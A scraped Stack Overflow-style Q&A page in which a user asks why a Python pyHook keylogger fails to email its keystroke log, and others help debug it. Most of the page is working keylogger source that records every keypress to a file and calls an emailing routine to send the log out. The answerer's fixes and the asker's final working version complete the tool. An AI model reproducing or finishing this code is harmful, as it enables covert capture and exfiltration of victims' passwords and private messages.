Question

I have the code below and also code that sends email with the file so by importing it from library I wanted to execute it after the file is closed and before the program exits yet it does not happen I have tries searching everywhere and it seems that no one nailed it yet. Both of the codes (keloger and sent_email) work separately so by executing the sent_email from shell it sends the file but not from inside module.

Any help will be appreciated

import pythoncom
import pyHook
import sent_email


log = ""
logpath = "keyEvent.txt"

openfile = open(logpath, "w")
openfile.write("")

def OnKeyboardEvent(event):
    try:
        global log
        if event.Ascii == 27:
            log = "[ESC]"
        elif event.Ascii == 8:
            log = "[Backspace]"
        elif event.Ascii == 15:
            openfile.close()
            sent_email.main()
            exit()
        elif event.Ascii == 13:
            log = "\n"
        elif event.Ascii == 0:
            log = ""
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()

while True:
    pythoncom.PumpMessages()

yet if I move the sent_email.main() after openfile.write(log) it sends email and attachment but before the file is closed?

Was it helpful?

Solution

By the looks of it, the code will never exit. This block...

try:
    global log
    if event.Ascii == 27:
        log = "[ESC]"
    elif event.Ascii == 8:
        log = "[Backspace]"
    elif event.Ascii == 15:
        openfile.close()
        sent_email.main()
        exit()
    elif event.Ascii == 13:
        log = "\n"
    elif event.Ascii == 0:
        log = ""
    else:
        log = chr(event.Ascii)
    openfile.write(log)
except:
    pass

...where you call exit() if event.Ascii == 15 won't work, because the way exit() works in Python is to raise a SystemExit exception, which will be caught by your bare except: clause, and be ignored.

You probably need to change except: to except Exception: so it will catch all exceptions except for SystemExit and KeyboardInterrupt - the latter being what Python generates when you press CTRL-C.

Other than that, I don't see anything wrong with that code block.


Update

The idea is for the code not to exit unless you close the command window.

Okay.

I just cannot understand why it does not send the email.

Well, the other problem with using a bare except: clause the way you do, is that it masks unexpected exceptions. I'd suggest temporarily changing the code...

except:
    pass

...to...

except:
    raise

...just to check the call to sent_email.main() isn't raising an exception.

If that's not the problem, are you sure the elif event.Ascii == 15: block is ever getting called - it's kind of a weird case (CTRL-O).

Maybe you should add some print statements in there to see what's happening - something like...

elif event.Ascii == 15:
    print "Got ASCII 15 - closing file"
    openfile.close()
    print "About to send email"
    sent_email.main()
    print "About to exit"
    exit()

OTHER TIPS

So that's how I make the code to work thanks Aya you triggered my memory

import pythoncom
import pyHook
import sent_email
from apscheduler.scheduler import Scheduler


log = ""
logpath = "log.txt"

openfile = open(logpath, "w")
openfile.write("")



def OnKeyboardEvent(event):
    try:
        global log
        if event.Ascii == 27:
            log = "[ESC]"
        elif event.Ascii == 8:
            log = "[Backspace]"
        elif event.Ascii == 3:
            print "Closing"
            openfile.close()
            sent_email.main()
            exit()

        elif event.Ascii == 13:
            log = "\n"
        elif event.Ascii == 0:
            log = ""
        else:
            log = chr(event.Ascii)
        openfile.write(log)

    except:
        pass
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()


while True:
    pythoncom.PumpMessages()
Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top